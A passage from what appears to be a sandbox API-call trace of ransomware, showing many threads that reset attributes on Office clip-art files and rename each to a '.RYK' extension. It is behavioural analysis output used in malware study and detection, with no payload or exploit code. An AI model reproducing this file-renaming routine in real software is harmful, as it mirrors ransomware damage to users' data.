	[0242.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2339
	os_tid = 0x2a28

	[0242.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG", dwFileAttributes=0x80) returned 0
	[0242.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.788] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2340
	os_tid = 0x2a2c

	[0242.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF", dwFileAttributes=0x80) returned 0
	[0242.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.787] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.787] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2341
	os_tid = 0x2a30

	[0242.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF", dwFileAttributes=0x80) returned 0
	[0242.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.785] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2342
	os_tid = 0x2a34

	[0242.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG", dwFileAttributes=0x80) returned 0
	[0242.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2343
	os_tid = 0x2a38

	[0242.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG", dwFileAttributes=0x80) returned 0
	[0242.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2344
	os_tid = 0x2a3c

	[0242.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG", dwFileAttributes=0x80) returned 0
	[0242.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2345
	os_tid = 0x2a40

	[0242.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG", dwFileAttributes=0x80) returned 0
	[0242.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.928] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2346
	os_tid = 0x2a44

	[0242.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG", dwFileAttributes=0x80) returned 0
	[0242.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2347
	os_tid = 0x2a48

	[0242.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG", dwFileAttributes=0x80) returned 0
	[0242.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.925] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2348
	os_tid = 0x2a4c

	[0242.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG", dwFileAttributes=0x80) returned 0
	[0242.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2349
	os_tid = 0x2a50

	[0242.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG", dwFileAttributes=0x80) returned 0
	[0242.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2350
	os_tid = 0x2a54

	[0242.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG", dwFileAttributes=0x80) returned 0
	[0242.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.921] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2351
	os_tid = 0x2a58

	[0242.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG", dwFileAttributes=0x80) returned 0
	[0242.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.920] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2352
	os_tid = 0x2a5c

	[0242.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG", dwFileAttributes=0x80) returned 0
	[0242.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.720] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2353
	os_tid = 0x2a60

	[0242.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG", dwFileAttributes=0x80) returned 0
	[0242.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2354
	os_tid = 0x2a64

	[0242.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG", dwFileAttributes=0x80) returned 0
	[0242.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.917] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2355
	os_tid = 0x2a68

	[0242.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG", dwFileAttributes=0x80) returned 0
	[0242.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.730] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2356
	os_tid = 0x2a6c

	[0242.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG", dwFileAttributes=0x80) returned 0
	[0242.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.916] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2357
	os_tid = 0x2a70

	[0242.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG", dwFileAttributes=0x80) returned 0
	[0242.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.915] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.915] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2358
	os_tid = 0x2a74

	[0242.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG", dwFileAttributes=0x80) returned 0
	[0242.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.914] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2359
	os_tid = 0x2a78

	[0242.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG", dwFileAttributes=0x80) returned 0
	[0243.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.097] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2360
	os_tid = 0x2a7c

	[0242.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG", dwFileAttributes=0x80) returned 0
	[0242.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.911] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.912] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2361
	os_tid = 0x2a80

	[0242.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG", dwFileAttributes=0x80) returned 0
	[0242.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2362
	os_tid = 0x2a84

	[0242.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG", dwFileAttributes=0x80) returned 0
	[0242.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.909] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2363
	os_tid = 0x2a88

	[0242.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG", dwFileAttributes=0x80) returned 0
	[0243.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2364
	os_tid = 0x2a8c

	[0242.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG", dwFileAttributes=0x80) returned 0
	[0243.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
